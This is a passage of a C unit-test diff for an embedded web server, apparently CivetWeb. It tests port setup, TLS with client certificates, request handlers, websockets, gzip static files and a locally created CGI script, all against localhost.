+#if defined(MG_LEGACY_INTERFACE) + size_t ports_cnt; + int ports[16]; + int ssl[16]; +#endif + struct mg_callbacks callbacks; + char errmsg[256]; + + const char *OPTIONS[8]; /* initializer list here is rejected by CI test */ + int opt_idx = 0; + const char *ssl_cert = locate_ssl_cert(); + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res, ret; + struct mg_server_ports portinfo[8]; + + ck_assert(ssl_cert != NULL); + + memset((void *)OPTIONS, 0, sizeof(OPTIONS)); +#if !defined(NO_FILES) + OPTIONS[opt_idx++] = "document_root"; + OPTIONS[opt_idx++] = "."; +#endif + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = "8080r,8443s"; + OPTIONS[opt_idx++] = "ssl_certificate"; + OPTIONS[opt_idx++] = ssl_cert; + + ck_assert_int_le(opt_idx, (int)(sizeof(OPTIONS) / sizeof(OPTIONS[0]))); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 1] == NULL); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 2] == NULL); + +#if defined(MG_LEGACY_INTERFACE) + memset(ports, 0, sizeof(ports)); + memset(ssl, 0, sizeof(ssl)); +#endif + memset(portinfo, 0, sizeof(portinfo)); + memset(&callbacks, 0, sizeof(callbacks)); + memset(errmsg, 0, sizeof(errmsg)); + + callbacks.log_message = log_msg_func; + + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + +#if defined(MG_LEGACY_INTERFACE) + ports_cnt = mg_get_ports(ctx, 16, ports, ssl); + ck_assert_uint_eq(ports_cnt, 2); + ck_assert_int_eq(ports[0], 8080); + ck_assert_int_eq(ssl[0], 0); + ck_assert_int_eq(ports[1], 8443); + ck_assert_int_eq(ssl[1], 1); + ck_assert_int_eq(ports[2], 0); + ck_assert_int_eq(ssl[2], 0); +#endif + + ret = mg_get_server_ports(ctx, 0, portinfo); + ck_assert_int_lt(ret, 0); + ck_assert_int_eq(portinfo[0].protocol, 0); + ck_assert_int_eq(portinfo[0].port, 0); + ck_assert_int_eq(portinfo[0].is_ssl, 0); + ck_assert_int_eq(portinfo[0].is_redirect, 0); + ck_assert_int_eq(portinfo[1].protocol, 0); + ck_assert_int_eq(portinfo[1].port, 0); + ck_assert_int_eq(portinfo[1].is_ssl, 0); + ck_assert_int_eq(portinfo[1].is_redirect, 0); + + ret = mg_get_server_ports(ctx, 4, portinfo); + ck_assert_int_eq(ret, 2); + ck_assert_int_eq(portinfo[0].protocol, 1); + ck_assert_int_eq(portinfo[0].port, 8080); + ck_assert_int_eq(portinfo[0].is_ssl, 0); + ck_assert_int_eq(portinfo[0].is_redirect, 1); + ck_assert_int_eq(portinfo[1].protocol, 1); + ck_assert_int_eq(portinfo[1].port, 8443); + ck_assert_int_eq(portinfo[1].is_ssl, 1); + ck_assert_int_eq(portinfo[1].is_redirect, 0); + ck_assert_int_eq(portinfo[2].protocol, 0); + ck_assert_int_eq(portinfo[2].port, 0); + ck_assert_int_eq(portinfo[2].is_ssl, 0); + ck_assert_int_eq(portinfo[2].is_redirect, 0); + + test_sleep(1); + + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8443, 1, client_err, sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "200"); + /* TODO: ck_assert_str_eq(client_ri->request_method, "HTTP/1.0"); */ + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); +#endif + mg_close_connection(client_conn); + + test_sleep(1); + + test_mg_stop(ctx); + mark_point(); +#endif +} +END_TEST + + +START_TEST(test_mg_server_and_client_tls) +{ +#ifndef NO_SSL + + struct mg_context *ctx; + + int ports_cnt; + struct mg_server_ports ports[16]; + struct mg_callbacks callbacks; + char errmsg[256]; + + struct mg_connection *client_conn; + char client_err[256]; + const struct mg_request_info *client_ri; + int client_res; + struct mg_client_options client_options; + + const char *OPTIONS[32]; /* initializer list here is rejected by CI test */ + int opt_idx = 0; + char server_cert[256]; + char client_cert[256]; + const char *res_dir = locate_resources(); + + ck_assert(res_dir != NULL); + strcpy(server_cert, res_dir); + strcpy(client_cert, res_dir); +#ifdef _WIN32 + strcat(server_cert, "cert\\server.pem"); + strcat(client_cert, "cert\\client.pem"); +#else + strcat(server_cert, "cert/server.pem"); + strcat(client_cert, "cert/client.pem"); +#endif + + memset((void *)OPTIONS, 0, sizeof(OPTIONS)); +#if !defined(NO_FILES) + OPTIONS[opt_idx++] = "document_root"; + OPTIONS[opt_idx++] = "."; +#endif + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = "8080r,8443s"; + OPTIONS[opt_idx++] = "ssl_certificate"; + OPTIONS[opt_idx++] = server_cert; + OPTIONS[opt_idx++] = "ssl_verify_peer"; + OPTIONS[opt_idx++] = "yes"; + OPTIONS[opt_idx++] = "ssl_ca_file"; + OPTIONS[opt_idx++] = client_cert; + + ck_assert_int_le(opt_idx, (int)(sizeof(OPTIONS) / sizeof(OPTIONS[0]))); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 1] == NULL); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 2] == NULL); + + memset(ports, 0, sizeof(ports)); + memset(&callbacks, 0, sizeof(callbacks)); + memset(errmsg, 0, sizeof(errmsg)); + + callbacks.log_message = log_msg_func; + + ctx = test_mg_start(&callbacks, (void *)errmsg, OPTIONS); + + ck_assert_str_eq(errmsg, ""); + ck_assert(ctx != NULL); + + ports_cnt = mg_get_server_ports(ctx, 16, ports); + ck_assert_int_eq(ports_cnt, 2); + ck_assert_int_eq(ports[0].protocol, 1); + ck_assert_int_eq(ports[0].port, 8080); + ck_assert_int_eq(ports[0].is_ssl, 0); + ck_assert_int_eq(ports[0].is_redirect, 1); + ck_assert_int_eq(ports[1].protocol, 1); + ck_assert_int_eq(ports[1].port, 8443); + ck_assert_int_eq(ports[1].is_ssl, 1); + ck_assert_int_eq(ports[1].is_redirect, 0); + ck_assert_int_eq(ports[2].protocol, 0); + ck_assert_int_eq(ports[2].port, 0); + ck_assert_int_eq(ports[2].is_ssl, 0); + ck_assert_int_eq(ports[2].is_redirect, 0); + + test_sleep(1); + + memset(client_err, 0, sizeof(client_err)); + client_conn = + mg_connect_client("127.0.0.1", 8443, 1, client_err, sizeof(client_err)); + + ck_assert_str_ne(client_err, ""); + ck_assert(client_conn == NULL); + + memset(client_err, 0, sizeof(client_err)); + memset(&client_options, 0, sizeof(client_options)); + client_options.host = "127.0.0.1"; + client_options.port = 8443; + client_options.client_cert = client_cert; + client_options.server_cert = server_cert; + + client_conn = mg_connect_client_secure(&client_options, + client_err, + sizeof(client_err)); + + ck_assert_str_eq(client_err, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "GET / HTTP/1.0\r\n\r\n"); + client_res = + mg_get_response(client_conn, client_err, sizeof(client_err), 10000); + ck_assert_int_ge(client_res, 0); + ck_assert_str_eq(client_err, ""); + client_ri = mg_get_request_info(client_conn); + ck_assert(client_ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(client_ri->local_uri, "404"); +#else + ck_assert_str_eq(client_ri->local_uri, "200"); + /* TODO: ck_assert_str_eq(client_ri->request_method, "HTTP/1.0"); */ + client_res = (int)mg_read(client_conn, client_err, sizeof(client_err)); + ck_assert_int_gt(client_res, 0); + ck_assert_int_le(client_res, sizeof(client_err)); +#endif + mg_close_connection(client_conn); + + /* TODO: A client API using a client certificate is missing */ + + test_sleep(1); + + test_mg_stop(ctx); +#endif + mark_point(); +} +END_TEST + + +static struct mg_context *g_ctx; + +static int +request_test_handler(struct mg_connection *conn, void *cbdata) +{ + int i; + char chunk_data[32]; + const struct mg_request_info *ri; + struct mg_context *ctx; + void *ud, *cud; + void *dummy = malloc(1); + + ctx = mg_get_context(conn); + ud = mg_get_user_data(ctx); + ri = mg_get_request_info(conn); + + ck_assert(ri != NULL); + ck_assert(ctx == g_ctx); + ck_assert(ud == &g_ctx); + + ck_assert(dummy != NULL); + + mg_set_user_connection_data(conn, (void *)&dummy); + cud = mg_get_user_connection_data(conn); + ck_assert_ptr_eq((void *)cud, (void *)&dummy); + + mg_set_user_connection_data(conn, (void *)NULL); + cud = mg_get_user_connection_data(conn); + ck_assert_ptr_eq((void *)cud, (void *)NULL); + + free(dummy); + + ck_assert_ptr_eq((void *)cbdata, (void *)(ptrdiff_t)7); + strcpy(chunk_data, "123456789A123456789B123456789C"); + + mg_printf(conn, + "HTTP/1.1 200 OK\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Type: text/plain\r\n\r\n"); + + for (i = 1; i <= 10; i++) { + mg_printf(conn, "%x\r\n", i); + mg_write(conn, chunk_data, (unsigned)i); + mg_printf(conn, "\r\n"); + } + + mg_printf(conn, "0\r\n\r\n"); + mark_point(); + + return 1; +} + + +#ifdef USE_WEBSOCKET +/****************************************************************************/ +/* WEBSOCKET SERVER */ +/****************************************************************************/ +static const char *websocket_welcome_msg = "websocket welcome\n"; +static const size_t websocket_welcome_msg_len = + 18 /* strlen(websocket_welcome_msg) */; +static const char *websocket_goodbye_msg = "websocket bye\n"; +static const size_t websocket_goodbye_msg_len = + 14 /* strlen(websocket_goodbye_msg) */; + + +#if defined(DEBUG) +static void +WS_TEST_TRACE(const char *f, ...) +{ + va_list l; + va_start(l, f); + vprintf(f, l); + va_end(l); +} +#else +#define WS_TEST_TRACE(...) +#endif + + +static int +websock_server_connect(const struct mg_connection *conn, void *udata) +{ + (void)conn; + + ck_assert_ptr_eq((void *)udata, (void *)(ptrdiff_t)7531); + WS_TEST_TRACE("Server: Websocket connected\n"); + mark_point(); + + return 0; /* return 0 to accept every connection */ +} + + +static void +websock_server_ready(struct mg_connection *conn, void *udata) +{ + ck_assert_ptr_eq((void *)udata, (void *)(ptrdiff_t)7531); + ck_assert_ptr_ne((void *)conn, (void *)NULL); + WS_TEST_TRACE("Server: Websocket ready\n"); + + /* Send websocket welcome message */ + mg_lock_connection(conn); + mg_websocket_write(conn, + WEBSOCKET_OPCODE_TEXT, + websocket_welcome_msg, + websocket_welcome_msg_len); + mg_unlock_connection(conn); + + WS_TEST_TRACE("Server: Websocket ready X\n"); + mark_point(); +} + + +#define long_ws_buf_len_16 (500) +#define long_ws_buf_len_64 (70000) +static char long_ws_buf[long_ws_buf_len_64]; + + +static int +websock_server_data(struct mg_connection *conn, + int bits, + char *data, + size_t data_len, + void *udata) +{ + (void)bits; + + ck_assert_ptr_eq((void *)udata, (void *)(ptrdiff_t)7531); + WS_TEST_TRACE("Server: Got %u bytes from the client\n", (unsigned)data_len); + + if (data_len == 3 && !memcmp(data, "bye", 3)) { + /* Send websocket goodbye message */ + mg_lock_connection(conn); + mg_websocket_write(conn, + WEBSOCKET_OPCODE_TEXT, + websocket_goodbye_msg, + websocket_goodbye_msg_len); + mg_unlock_connection(conn); + } else if (data_len == 5 && !memcmp(data, "data1", 5)) { + mg_lock_connection(conn); + mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, "ok1", 3); + mg_unlock_connection(conn); + } else if (data_len == 5 && !memcmp(data, "data2", 5)) { + mg_lock_connection(conn); + mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, "ok 2", 4); + mg_unlock_connection(conn); + } else if (data_len == 5 && !memcmp(data, "data3", 5)) { + mg_lock_connection(conn); + mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, "ok - 3", 6); + mg_unlock_connection(conn); + } else if (data_len == long_ws_buf_len_16) { + ck_assert(memcmp(data, long_ws_buf, long_ws_buf_len_16) == 0); + mg_lock_connection(conn); + mg_websocket_write(conn, + WEBSOCKET_OPCODE_BINARY, + long_ws_buf, + long_ws_buf_len_16); + mg_unlock_connection(conn); + } else if (data_len == long_ws_buf_len_64) { + ck_assert(memcmp(data, long_ws_buf, long_ws_buf_len_64) == 0); + mg_lock_connection(conn); + mg_websocket_write(conn, + WEBSOCKET_OPCODE_BINARY, + long_ws_buf, + long_ws_buf_len_64); + mg_unlock_connection(conn); + } else { + +#if defined(__MINGW32__) || defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunreachable-code" +#endif +#ifdef __clang__ +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Wunreachable-code" +#endif + + ck_abort_msg("Got unexpected message from websocket client"); + + + return 0; + +#ifdef __clang__ +#pragma clang diagnostic pop +#endif +#if defined(__MINGW32__) || defined(__GNUC__) +#pragma GCC diagnostic pop +#endif + } + mark_point(); + + return 1; /* return 1 to keep the connetion open */ +} + + +static void +websock_server_close(const struct mg_connection *conn, void *udata) +{ +#ifndef __MACH__ + ck_assert_ptr_eq((void *)udata, (void *)(ptrdiff_t)7531); + WS_TEST_TRACE("Server: Close connection\n"); + + /* Can not send a websocket goodbye message here - + * the connection is already closed */ + + mark_point(); +#endif + + (void)conn; + (void)udata; +} + + +/****************************************************************************/ +/* WEBSOCKET CLIENT */ +/****************************************************************************/ +struct tclient_data { + void *data; + size_t len; + int closed; + int clientId; +}; + + +static int +websocket_client_data_handler(struct mg_connection *conn, + int flags, + char *data, + size_t data_len, + void *user_data) +{ + struct mg_context *ctx = mg_get_context(conn); + struct tclient_data *pclient_data = + (struct tclient_data *)mg_get_user_data(ctx); + + ck_assert_ptr_eq(user_data, (void *)pclient_data); + + ck_assert(pclient_data != NULL); + ck_assert_int_gt(flags, 128); + ck_assert_int_lt(flags, 128 + 16); + ck_assert((flags == (int)(128 | WEBSOCKET_OPCODE_BINARY)) + || (flags == (int)(128 | WEBSOCKET_OPCODE_TEXT))); + + if (flags == (int)(128 | WEBSOCKET_OPCODE_TEXT)) { + WS_TEST_TRACE( + "Client %i received %lu bytes text data from server: %.*s\n", + pclient_data->clientId, + (unsigned long)data_len, + (int)data_len, + data); + } else { + WS_TEST_TRACE("Client %i received %lu bytes binary data from\n", + pclient_data->clientId, + (unsigned long)data_len); + } + + pclient_data->data = malloc(data_len); + ck_assert(pclient_data->data != NULL); + memcpy(pclient_data->data, data, data_len); + pclient_data->len = data_len; + + mark_point(); + + return 1; +} + + +static void +websocket_client_close_handler(const struct mg_connection *conn, + void *user_data) +{ + struct mg_context *ctx = mg_get_context(conn); + struct tclient_data *pclient_data = + (struct tclient_data *)mg_get_user_data(ctx); + +#ifndef __MACH__ + ck_assert_ptr_eq(user_data, (void *)pclient_data); + + ck_assert(pclient_data != NULL); + + WS_TEST_TRACE("Client %i: Close handler\n", pclient_data->clientId); + pclient_data->closed++; + + mark_point(); +#else + + (void)user_data; + pclient_data->closed++; + +#endif /* __MACH__ */ +} + +#endif /* USE_WEBSOCKET */ + + +START_TEST(test_request_handlers) +{ + char ebuf[100]; + struct mg_context *ctx; + struct mg_connection *client_conn; + const struct mg_request_info *ri; + char uri[64]; + char buf[1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 + 10 + 8]; + const char *expected = + "112123123412345123456123456712345678123456789123456789A"; + int i; + const char *request = "GET /U7 HTTP/1.0\r\n\r\n"; +#if defined(USE_IPV6) && defined(NO_SSL) + const char *HTTP_PORT = "8084,[::]:8086"; + short ipv4_port = 8084; + short ipv6_port = 8086; +#elif !defined(USE_IPV6) && defined(NO_SSL) + const char *HTTP_PORT = "8084"; + short ipv4_port = 8084; +#elif defined(USE_IPV6) && !defined(NO_SSL) + const char *HTTP_PORT = "8084,[::]:8086,8194r,[::]:8196r,8094s,[::]:8096s"; + short ipv4_port = 8084; + short ipv4s_port = 8094; + short ipv4r_port = 8194; + short ipv6_port = 8086; + short ipv6s_port = 8096; + short ipv6r_port = 8196; +#elif !defined(USE_IPV6) && !defined(NO_SSL) + const char *HTTP_PORT = "8084,8194r,8094s"; + short ipv4_port = 8084; + short ipv4s_port = 8094; + short ipv4r_port = 8194; +#endif + + const char *OPTIONS[16]; + const char *opt; + FILE *f; + const char *plain_file_content; + const char *encoded_file_content; + const char *cgi_script_content; + const char *expected_cgi_result; + int opt_idx = 0; + struct stat st; + +#if !defined(NO_SSL) + const char *ssl_cert = locate_ssl_cert(); +#endif + +#if defined(USE_WEBSOCKET) + struct tclient_data ws_client1_data = {NULL, 0, 0, 1}; + struct tclient_data ws_client2_data = {NULL, 0, 0, 2}; + struct tclient_data ws_client3_data = {NULL, 0, 0, 3}; + struct tclient_data ws_client4_data = {NULL, 0, 0, 4}; + struct mg_connection *ws_client1_conn = NULL; + struct mg_connection *ws_client2_conn = NULL; + struct mg_connection *ws_client3_conn = NULL; + struct mg_connection *ws_client4_conn = NULL; +#endif + + char cmd_buf[256]; + char *cgi_env_opt; + + mark_point(); + + memset((void *)OPTIONS, 0, sizeof(OPTIONS)); + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = HTTP_PORT; + OPTIONS[opt_idx++] = "authentication_domain"; + OPTIONS[opt_idx++] = "test.domain"; +#if !defined(NO_FILES) + OPTIONS[opt_idx++] = "document_root"; + OPTIONS[opt_idx++] = "."; +#endif +#ifndef NO_SSL + ck_assert(ssl_cert != NULL); + OPTIONS[opt_idx++] = "ssl_certificate"; + OPTIONS[opt_idx++] = ssl_cert; +#endif + OPTIONS[opt_idx++] = "cgi_environment"; + cgi_env_opt = (char *)calloc(1, 4096 /* CGI_ENVIRONMENT_SIZE */); + ck_assert_ptr_ne(cgi_env_opt, NULL); + cgi_env_opt[0] = 'x'; + cgi_env_opt[1] = '='; + memset(cgi_env_opt + 2, 'y', 4090); /* Add large env field, so the server + * must reallocate buffers. */ + OPTIONS[opt_idx++] = cgi_env_opt; + + OPTIONS[opt_idx++] = "num_threads"; + OPTIONS[opt_idx++] = "2"; + + + ck_assert_int_le(opt_idx, (int)(sizeof(OPTIONS) / sizeof(OPTIONS[0]))); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 1] == NULL); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 2] == NULL); + + ctx = test_mg_start(NULL, &g_ctx, OPTIONS); + + ck_assert(ctx != NULL); + g_ctx = ctx; + + opt = mg_get_option(ctx, "listening_ports"); + ck_assert_str_eq(opt, HTTP_PORT); + + opt = mg_get_option(ctx, "cgi_environment"); + ck_assert_ptr_ne(opt, cgi_env_opt); + ck_assert_int_eq((int)opt[0], (int)cgi_env_opt[0]); + ck_assert_int_eq((int)opt[1], (int)cgi_env_opt[1]); + ck_assert_int_eq((int)opt[2], (int)cgi_env_opt[2]); + ck_assert_int_eq((int)opt[3], (int)cgi_env_opt[3]); + /* full length string compare will reach limit in the implementation + * of the check unit test framework */ + { + size_t len_check_1 = strlen(opt); + size_t len_check_2 = strlen(cgi_env_opt); + ck_assert_uint_eq(len_check_1, len_check_2); + } + + /* We don't need the original anymore, the server has a private copy */ + free(cgi_env_opt); + + opt = mg_get_option(ctx, "throttle"); + ck_assert_str_eq(opt, ""); + + opt = mg_get_option(ctx, "unknown_option_name"); + ck_assert(opt == NULL); + + for (i = 0; i < 1000; i++) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, uri, request_test_handler, NULL); + } + for (i = 500; i < 800; i++) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, uri, NULL, (void *)(ptrdiff_t)1); + } + for (i = 600; i >= 0; i--) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, uri, NULL, (void *)(ptrdiff_t)2); + } + for (i = 750; i <= 1000; i++) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, uri, NULL, (void *)(ptrdiff_t)3); + } + for (i = 5; i < 9; i++) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, + uri, + request_test_handler, + (void *)(ptrdiff_t)i); + } + +#ifdef USE_WEBSOCKET + mg_set_websocket_handler(ctx, + "/websocket", + websock_server_connect, + websock_server_ready, + websock_server_data, + websock_server_close, + (void *)(ptrdiff_t)7531); +#endif + + /* Try to load non existing file */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /file/not/found HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "404"); + mg_close_connection(client_conn); + + /* Get data from callback */ + client_conn = mg_download( + "localhost", ipv4_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get data from callback using http://127.0.0.1 */ + client_conn = mg_download( + "127.0.0.1", ipv4_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + if ((i >= 0) && ((size_t)i < sizeof(buf))) { + buf[i] = 0; + } else { + ck_abort_msg( + "ERROR: test_request_handlers: read returned %i (>=0, <%i)", + (int)i, + (int)sizeof(buf)); + } + ck_assert((int)i < (int)sizeof(buf)); + ck_assert(i > 0); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + +#if defined(USE_IPV6) + /* Get data from callback using http://[::1] */ + client_conn = + mg_download("[::1]", ipv6_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); +#endif + +#if !defined(NO_SSL) + /* Get data from callback using https://127.0.0.1 */ + client_conn = mg_download( + "127.0.0.1", ipv4s_port, 1, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get redirect from callback using http://127.0.0.1 */ + client_conn = mg_download( + "127.0.0.1", ipv4r_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "302"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, -1); + mg_close_connection(client_conn); +#endif + +#if defined(USE_IPV6) && !defined(NO_SSL) + /* Get data from callback using https://[::1] */ + client_conn = + mg_download("[::1]", ipv6s_port, 1, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get redirect from callback using http://127.0.0.1 */ + client_conn = + mg_download("[::1]", ipv6r_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "302"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, -1); + mg_close_connection(client_conn); +#endif + +/* It seems to be impossible to find out what the actual working + * directory of the CI test environment is. Before breaking another + * dozen of builds by trying blindly with different paths, just + * create the file here */ +#ifdef _WIN32 + f = fopen("test.txt", "wb"); +#else + f = fopen("test.txt", "w"); +#endif + plain_file_content = "simple text file\n"; + fwrite(plain_file_content, 17, 1, f); + fclose(f); + +#ifdef _WIN32 + f = fopen("test_gz.txt.gz", "wb"); +#else + f = fopen("test_gz.txt.gz", "w"); +#endif + encoded_file_content = "\x1f\x8b\x08\x08\xf8\x9d\xcb\x55\x00\x00" + "test_gz.txt" + "\x00\x01\x11\x00\xee\xff" + "zipped text file" + "\x0a\x34\x5f\xcc\x49\x11\x00\x00\x00"; + fwrite(encoded_file_content, 1, 52, f); + fclose(f); + +#ifdef _WIN32 + f = fopen("test.cgi", "wb"); + cgi_script_content = "#!test.cgi.cmd\r\n"; + fwrite(cgi_script_content, strlen(cgi_script_content), 1, f); + fclose(f); + f = fopen("test.cgi.cmd", "w"); + cgi_script_content = "@echo off\r\n" + "echo Connection: close\r\n" + "echo Content-Type: text/plain\r\n" + "echo.\r\n" + "echo CGI test\r\n" + "\r\n"; + fwrite(cgi_script_content, strlen(cgi_script_content), 1, f); + fclose(f); +#else + f = fopen("test.cgi", "w"); + cgi_script_content = "#!/bin/sh\n\n" + "printf \"Connection: close\\r\\n\"\n" + "printf \"Content-Type: text/plain\\r\\n\"\n" + "printf \"\\r\\n\"\n" + "printf \"CGI test\\r\\n\"\n" + "\n"; + (void)fwrite(cgi_script_content, strlen(cgi_script_content), 1, f); + (void)fclose(f); + (void)system("chmod a+x test.cgi"); +#endif + expected_cgi_result = "CGI test"; + + /* Get static data */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /test.txt HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); +#else + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, 17); + if ((i >= 0) && (i < (int)sizeof(buf))) { + buf[i] = 0; + } + ck_assert_str_eq(buf, plain_file_content); +#endif + mg_close_connection(client_conn); + + + /* Check if CGI test executable exists */ + memset(&st, 0, sizeof(st)); + +#if defined(_WIN32) + /* TODO: not yet available */ + sprintf(ebuf, "%scgi_test.cgi", locate_test_exes()); +#else + sprintf(ebuf, "%scgi_test.cgi", locate_test_exes()); + + if (stat(ebuf, &st) != 0) { + fprintf(stderr, "\nFile %s not found\n", ebuf); + fprintf(stderr, + "This file needs to be compiled manually before " + "starting the test\n"); + fprintf(stderr, + "e.g. by gcc test/cgi_test.c -o output/cgi_test.cgi\n\n"); + + /* Abort test with diagnostic message */ + ck_abort_msg("Mandatory file %s must be built before starting the test", + ebuf); + } +#endif + + +/* Test with CGI test executable */ +#if defined(_WIN32) + sprintf(cmd_buf, "copy %s\\cgi_test.cgi cgi_test.exe", locate_test_exes()); +#else + sprintf(cmd_buf, "cp %s/cgi_test.cgi cgi_test.cgi", locate_test_exes()); +#endif + (void)system(cmd_buf); + +#if !defined(NO_CGI) && !defined(NO_FILES) && !defined(_WIN32) + /* TODO: add test for windows, check with POST */ + client_conn = mg_download( + "localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /cgi_test.cgi/x/y.z HTTP/1.0\r\nContent-Length: 3\r\n\r\nABC"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); +#endif + + /* Get zipped static data - will not work if Accept-Encoding is not set */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /test_gz.txt HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "404"); + mg_close_connection(client_conn); + + /* Get zipped static data - with Accept-Encoding */ + client_conn = mg_download( + "localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /test_gz.txt HTTP/1.0\r\nAccept-Encoding: gzip\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); +#else + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, 52); + if ((i >= 0) && (i < (int)sizeof(buf))) { + buf[i] = 0; + } + ck_assert_int_eq(ri->content_length, 52); + ck_assert_str_eq(buf, encoded_file_content); +#endif + mg_close_connection(client_conn); + +/* Get CGI generated data */ +#if !defined(NO_CGI) + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /test.cgi HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); + + (void)expected_cgi_result; + (void)cgi_script_content; +#else + i = mg_read(client_conn, buf, 